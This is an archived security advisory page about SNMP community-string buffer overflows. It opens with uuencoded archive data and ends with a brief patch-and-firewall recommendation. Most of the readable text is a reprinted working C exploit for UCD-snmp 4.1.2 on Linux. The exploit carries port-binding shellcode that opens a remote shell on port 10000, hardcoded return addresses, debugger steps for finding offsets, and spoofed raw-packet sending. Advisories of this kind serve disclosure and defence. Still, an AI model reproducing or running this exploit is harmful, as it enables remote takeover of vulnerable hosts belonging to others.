MX,L/9:EV>P\\GH:&2R,W1>]GH3WPLK_F7/SG?!R.,$;[[DW,-VN\'N+L5*H?#9
M^0?PV_[DG**#X?REX>R[@T\'SH.\'L\'>=7$TFN7]$]%H9Z!L]($00D@F_\\]!.&
MQC#(LBXL\'@:+.QI[<C?$?URWTVLL/B_TY&QZ:.U,M`P^*-&]O1+]*^Z0ZD&N
M_;;1/II<#:62TP;&1]A!^/[X7S<T?.?_+:4F\\`\\Z$*C#7W8WUCRS9EIPLR5J
M*_UGY_7/G:R7UPLLSPT>U?L0,W!\'SH_0L[-WKV].K@[/KYSSZ70I]P!JSL=X
MN@13SOWN$!Y@SFD?\\\"0<CT#VQU\']QR\"=!H_@CUZ_N3ARFB!DW\'JWU6IWZX.\"
MV>IF_7CK)S,P22;`N_$DXCX<7U\\T7-JO4[#DC58\'T.H[&#XHK7_QEW<S4%#K
MYQ/L+O(I_#1R#Z?2C+T/-S^6+;4:E>MYK5:]W>K46P6CZN5XD+?5C\\\'M\'@_K
M;1A]DFM\'MHFD(@\'9[0@,,(/\"E5MX\\`CQ#[ZJ&3M[6,JCJQQ_LL5R+:C4?L>\\
M2P)>VR2*I_%8+#*:YG6SR1&@A^!V=6_8/ZW9(\'UC<G`P.!GXO,S-%=]O2FW;
MFHQ5/?1WYV^V=1(VQ%0(Y_IH_K*FBX-<%W^,D^E(^B>\'2F)6;^A&&H+SE#0F
M00.%^7\\GT!RV_8\"TD*MTK[8]N%;4N4VCGR734P_6R)UU.:D;?UXS?:ZIB\\4D
MX68WF;%%WZH&[%0LLAVHOO<H_%S/<H:-KX[E3^?XR/DARYI\'\"_::S$)*3L:U
M-.V*J]?\']ETNV\"+3QS3,4FZOWE_>7%[GH]UL#M8X`&<DZ?.]J50UJ%-3B8?R
MCISX(/<A;*`LTF\\F[))YK[M/1%`@Q%,$TU\'6OYKXHD4&R[.Q?$!;\'?SWQM`_
M5\";RX21^6,2\'8!\"\":&O6F^UL/2J\\(Z?.F_H+%L>/X/O$#Z7Z2_O5CUC1H3R`
MMD%UPI]#NBEVB#2MO53ZC<U]?<0PV`D&*)WW,9IES@-6G^9#0>::W7L/NUSN
MQQTF1+S4\"`K?*AX%3G1=(O66F(]C=N(F%`)/_T_9440/=W121+L_\"AY`PR_(
M5H6^\';K-9AO^ZZXJU/*O%8Y#&`4=F68M$_[7PG^EET\">OT,]2EVAOPYG(49D
MXKO%H?>)!.[J`*J]JI,N-DFKVU5I=9M)JS=\'SOM@2K?>Z$+<-=W%R8DH.N4*
M*(K\'VER\'<(S[.YA>[4LP@Z8.G7%,0EZRKWI#WBX?.9FOT0#YVD/B,UI7`\"S$
M1V#D/8.E2/X\\\'AA(\\%X.\'AA,U)%L%B<[>BN0906Z(\'R82NBWX,ML<M^\\O3SY
MEW_]<`EKOT<V$&CG3]C>6_\\V5=>C4[\"Y4*N>)$\'P:?_]`:<VT$1D$UN3B_8D
MI\"5SU@G$34CUT0LR\'8;J;Y=C%8<+$^\'\',8=UD4I.GC=`T.$LX9GZH^/6,!><
M3T:SNP^DCNCHL>;<>_!/JR91%22H)EY>HQND[RXOX%G\\CU?3<=FK!&^Y)V@6
MU9S5*<\'D&:8(V@4,>.P>@:]QG(SB:.J.!+ZDC%!]#HLWN8Q9-]:P>,/!1*1W
M\"UJV%(D6;*S\"1TPI8*XRF\\^X;C!(3`W\'!/J43JDHGP73.4BV\\4\'.<A&CV<CW
M[\'G@/(-JJNF_W@E+$_R[)=>859(-QWF0(N;X<&XTD@D^3WQPAL)[.G.BE!^^
M_JS7GM2\\,KPH(JSA93/U#^ND5@1W$K#4+(P03J#A7.*!6!]812\\^\'?G)N9OF
M@WD\\7X+69TIX!B;DX\'/]_+R&],(Z<HDU1CJ\"$50%VL)RO,OWH#XL5-C\')HCG
MF`\\I9H50,N8)!;`Y4GD]3,+Y0BYZ4D*2/XW57:V4?J0)D0.9;+?=!%/T7%B<
M4^#P_/\"2EA9=%JE\\F.<[D*@W6JQ>R56).0@I-.?3US]OR;BK>MDMNP\"Y]YJ^
M0?:L3$4R_$QB_!51*TC\\^X7,W2MSC.GB<4K\']*]_IB0&S*+\'R3JYOO:`P>@T
MM^\'\\&]HLLE;``.,)\'V;QH2]>%I!3L<4OA%9S*(`B?[YYAQ/Z_P%02P$\"%@L4
M````\"`\".BDTL>B:5QI%6``#=>P$`(``````````!`\"``@($`````4%)/5$]3
M(%1E<W0M4W5I=&4@8S`V+7-N;7!V,2YH=&U02P4&``````$``0!.````SU8`
#````
`
end
Update (14 March 2002)
======
Jove posted an exploit for UCP-snmp under Linux (slackware 8.0) :
/*--------------------------------------------------------------------------*
* Exploits bugs in community string overflows for snmp implementations *
* Coded by: Jove (jove@halo.nu) *
* Portions provided by: RPC, and Zen-Parse *
*--------------------------------------------------------------------------*/
/*--------------------------------------------------------------------------*
* Explanation: *
* As found by the Protos project, many implementations of SNMP are *
* fallible to overly-long community strings. In some implementations *
* it is possible to use this to take control over the system snmpd is *
* is running on. This program is an implementation of how such community *
* strings might be used to take over said system. The framework here has *
* been designed to be extensible to encompass exploitation over multiple *
* snmp implementations, over multiple architectures, and with the *
* the possibility to evade IDS implementations. If someone does extend *
* this code through targets, or actual code update I ask that they share *
* it with me (jove@halo.nu) and all persons involved if they wish can *
* share with others that send in code fixes so that this exploit can be *
* fine tuned. RPC provided the framework for which to send the packets *
* that is used with slight modifications by myself, I extended it into *
* this exploit which is much more extendable, and has a working target, *
* made it easier to use and nicer to look at, added support for multiple *
* targets, and ripped out ugly things such as globals. Here are some *
* instructions to get it working on your implementation of ucd-snmpd and *
* others that derrive their snmp parsing code from ucd\'s implementation. *
*--------------------------------------------------------------------------*
* Required values for successful exploitation on x86 arch ucd-snmp: *
* 1.) rets_position *
* 2.) ret_address *
*--------------------------------------------------------------------------*
* Easy way to obtain 1: *
* A.) Run GDB with the path to snmp ie: gdb `which snmpd` *
* B.) At the <gdb> type run *
* C.) Run this exploit against the host with snmpd running on it. *
* D.) GDB should error out saying Segmentation Fault with an address. *
* E.) Take the farthest right hex digits and convert to decimal. *
* F.) This will be your rets_position... if the buffer is bigger than 256 *
* you may need to multiply it by 0xff X times where X <= bufsize / 255*
*--------------------------------------------------------------------------*
* Easy way to obtain 2: *
* A.) Run GDB with the path to snmpd ie: gdb `which snmpd` *
* B.) at prompt type break _snmp_parse *
* C.) type run *
* D.) run exploit against system running the snmpd you\'re debugging *
* E.) when it gets to the breakpoint type print &data *
* F.) add about 100 to this address and you have your ret_address *
*--------------------------------------------------------------------------*
* The methodology for anything other than a linux running ucd-snmpd is *
* beyond the scope of these comments, and I refer you to phrack 49 for *
* more information. *
*--------------------------------------------------------------------------*/
#include <unistd.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <sys/types.h>
#include <sys/socket.h>
/*--- Local Defines ---*/
#define ASN1_SZ 11
#define ASN2_SZ 36
#define HDR_SZ sizeof(struct iphdr) + sizeof(struct udphdr)
#define PACKET_SZ ASN1_SZ + ASN2_SZ
#define MAX_BUFF 4096
/*-------------------------*/
/*--- A structure to hold exploitation values ---*
*--- so one program can exploit multiple ---*
*--- targets. ---*/
struct target_os {
char *description; //String description of OS.
char *shellcode; //Pointer to shellcode for OS.
int buffer_size; //Size of buffer we\'re exploiting.
int rets_position; //Position in buffer of value that the snmpd will use as a ret address
u_int32_t ret_address; //Address to have function to return into
char nop; //NO-Operation instruction to use
};
/*-------------------------------------------------*/
/*--- asn1 gets inserted before our communiy string, ---*
*--- asn2 gets inserted after our community string. ---*
*--- these values were taken from RPC\'s code. ---*/
char snmp_asn1[] = \"\\x30\\x82\\x01\\x23\\x02\\x01\\x00\\x04\\x82\\x01\\x00\"; //11 bytes
char snmp_asn2[] = \"\\xa0\\x82\\x00\\x20\\x02\\x04\\x57\\xc6\\x36\\xf6\\x02\\x01\"
\"\\x00\\x02\\x01\\x00\\x30\\x82\\x00\\x10\\x30\\x82\\x00\\x0c\"
\"\\x06\\x08\\x2b\\x06\\x01\\x02\\x01\\x01\\x05\\x00\\x05\\x00\"; //36 bytes
/*---------------------------------------------------------*/
/*--- Zen-parse\'s port 10,000 port-binding Linux Shellcode ---*/
char zenparse_code[] =
\"\\x31\\xc0\\x31\\xdb\\x89\\xe5\\x99\\xb0\\x66\\x89\\x5d\\xfc\\x43\\x89\\x5d\\xf8\"
\"\\x43\\x89\\x5d\\xf4\\x4b\\x8d\\x4d\\xf4\\xcd\\x80\\x89\\x45\\xf4\\x43\\x66\\x89\"
\"\\x5d\\xec\\x66\\xc7\\x45\\xee\\x27\\x10\\x89\\x55\\xf0\\x8d\\x45\\xec\\x89\\x45\"
\"\\xf8\\xc6\\x45\\xfc\\x10\\xb2\\x66\\x89\\xd0\\x8d\\x4d\\xf4\\xcd\\x80\\x89\\xd0\"
\"\\xb3\\x04\\xcd\\x80\\x43\\x89\\xd0\\x99\\x89\\x55\\xf8\\x89\\x55\\xfc\\xcd\\x80\"
\"\\x31\\xc9\\x89\\xc3\\xb1\\x03\\xb0\\x3f\\x49\\xcd\\x80\\x41\\xe2\\xf8\\x52\\x68\"
\"\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x52\\x53\\x89\\xe1\\xb0\"
\"\\x0b\\xcd\\x80\";
/*-----------------------------------------------------------------*/
/*--- Function prototypes ---*/
unsigned short in_cksum(u_short *, int); //Standard checksum calculation code
unsigned int resolve(char *host); //Resolve\'s a host, taken from RPC due to laziness... ehrm efficiency
char *make_packet(char *, unsigned int, unsigned int, int); //Creates snmp packet, by RPC modified by Jove
void usage(char *); //Display\'s program\'s usage.
/*---------------------------------*/
struct target_os the_targets[]= {
//description, shellcode ptr, buffer size, Position of ret address, Address to return into, NOP to use
{\"UCD-SNMP 4.1.2 / Slackware 8.0 src compilation (bindport 10,000)\",zenparse_code,256,216,0xbfffd77c,0x90},
{(char *) NULL, (char *) NULL, 0, 0, 0, (char) 0} };
int
main(int argc, char *argv[])
{
/*--- Constant definitions ---*/
const int one = 1;
/*---------------------------------*/
/*--- Networking Variables ---*/
struct sockaddr_in sin;
u_int32_t addr;
int sock;
int src;
int dst=-1;
/*---------------------------------*/
/*--- Exploitation Variables ---*/
char buf[MAX_BUFF];
char *p;
int ret;
int shellcodelen;
int retpos;
int buffersize;
/*---------------------------------*/
/*--- Option Handling Variables ---*/
int arg;
int cnt;
int typeosys=0;
int debugit=0;
int port=161;
int echo=0;
/*-------------------------------------*/
if(argc < 3)
usage(argv[0]);
src = resolve(\"127.0.0.1\");
while((arg = getopt(argc, argv, \"es:d:t:x:p:\")) != -1) {
switch(arg) {
case \'e\':
echo = 1;
break;
case \'s\':
src = resolve(optarg);
break;
case \'d\':
dst = resolve(optarg);
break;
case \'t\':
typeosys = atoi(optarg);
break;
case \'x\':
debugit=1;
break;
case \'p\':
port = atoi(optarg);
default:
printf(\"Invalid argument, %c\\n\",arg);
usage(argv[0]);
}
}
if(dst == -1) {
printf(\"Missing destination address.\\n\");
usage(argv[0]);
}
shellcodelen= strlen(the_targets[typeosys].shellcode);
addr= the_targets[typeosys].ret_address;
retpos= the_targets[typeosys].rets_position;
buffersize=the_targets[typeosys].buffer_size;
if(buffersize>MAX_BUFF-1) {
printf(\"Must increase MAX_BUFF define to something >= %d\\n\",buffersize);
exit(-1);
}
memset(buf, the_targets[typeosys].nop, buffersize);
memcpy(buf + retpos, &addr, sizeof(addr));
memcpy(buf + retpos - shellcodelen, the_targets[typeosys].shellcode, shellcodelen);
if(debugit==1) {
for(cnt=1;cnt<buffersize;cnt++)
buf[cnt]=(char) cnt;
}
buf[buffersize] = \'\\0\';
p = make_packet(buf, src, dst, echo);
/*--- Create the socket to send data on ---*/
sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if(sock == -1) {
perror(\"socket\");
exit(1);
}
/*---------------------------------------------*/
/*--- Setup the socket\'s options ---*/
if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) == -1) {
perror(\"setsockopt\");
exit(1);
}
/*-------------------------------------*/
/*--- Setup the Socket type/dest ---*/
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.s_addr = dst;
/*-------------------------------------*/
/*--- Send the udp packet and error check ---*/
printf(\"Sending Packet...\");
ret = sendto(sock, p, HDR_SZ + PACKET_SZ + buffersize, 0, &sin, sizeof(sin));
if(ret == -1) {
perror(\"sendto\");
exit(1);
}
printf(\"sent.\\n\");
/*---------------------------------------------*/
return(0);
}
void usage(char *cmd)
{
int cnt;
/*--- Print out a pretty usage and exit(0); ---*/
printf(\"Snmp exploitation utility, Version 2\\n\");
printf(\"Coding by Jove w/ segments from RPC\\n\");
printf(\"Usage: %s <options> [-d destination]\\n\");
printf(\"Switches:\\n\");
printf(\"\\t\\t-s <IP>\\n\\t\\t\\tSource address to use.\\n\");
printf(\"\\t\\t-p [Port]\\n\\t\\t\\tSpecify port to send to.\\n\");
printf(\"\\t\\t-e\\tDestination is an echo server (to bounce packet).\\n\");
printf(\"\\t\\t \\t(Source and destination are reversed for echo mode.\\n\");
printf(\"\\t\\t-x\\tUse an ascending value buffer for the community string.\\n\");
printf(\"\\t\\t \\t(Used for finding values to use w/ this exploit.\\n\");
printf(\"\\t\\t-t#\\tSpecify a target to use for packet creation\\n\");
printf(\"\\tAvailable Targets:\\n\");
for(cnt=0;the_targets[cnt].description!=(char *) NULL;cnt++)
printf(\"\\t%d- %s\\n\",cnt,the_targets[cnt].description);
exit(0);
}
unsigned short
in_cksum(addr, len) //Standard checksum calculation code
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
/*
* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits.
*/
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
/* mop up an odd byte, if necessary */
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);
}
unsigned int resolve(char *host) //Resolve\'s a host, taken from RPC due to laziness... ehrm efficiency
{
struct hostent *he;
unsigned int ipaddr;
if((he = gethostbyname(host)) == NULL) {
/* ip addr, or invalid. */
if((ipaddr = inet_addr(host)) == -1) {
printf(\"error resolving %s.\\n\", host);
exit(1);
}
return ipaddr;
}
memcpy(&ipaddr, he->h_addr, he->h_length);
return ipaddr;
}
char *
make_packet(char *buf, unsigned int src, unsigned int dst, int echo)
/*--- This code has it\'s roots in RPC\'s code however, --*
*--- Jove had to modify it so it didn\'t use globals, --*
*--- so buffer size could be dynamic, we seed the --*
*--- random number generator to randomize the ID --*
*--- field. --*/
{
struct iphdr *ip;
struct udphdr *udp;
char *p;
int bufsz;
bufsz=strlen(buf);
p = (char *)malloc(HDR_SZ + PACKET_SZ + bufsz);
ip = (struct iphdr *)p;
udp = (struct udphdr *)(p + sizeof(*ip));
ip->ihl = 5;
ip->version = 4;
ip->tos = 0;
ip->tot_len = htons(HDR_SZ + PACKET_SZ + bufsz);
srand(time(NULL));
ip->id = rand();
ip->frag_off = htons(IP_DF);
ip->ttl = 0x40;
ip->protocol = IPPROTO_UDP;
ip->saddr = src;
ip->daddr = dst;
ip->check = in_cksum((char *)ip, sizeof(*ip));
udp->source = echo ? htons(161) : rand();
udp->dest = echo? htons(7) : htons(161);
udp->len = htons(PACKET_SZ + bufsz);
udp->check = 0;
memcpy(p + HDR_SZ, snmp_asn1, ASN1_SZ);
memcpy(p + HDR_SZ + ASN1_SZ, buf, bufsz);
memcpy(p + HDR_SZ + ASN1_SZ + bufsz, snmp_asn2, ASN2_SZ);
return p;
}
SOLUTION
All vendors are releasing patches as time goes on. You should consider
disabling SNMP in the mean time, or at least assuring it\'s being
firewalled.
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH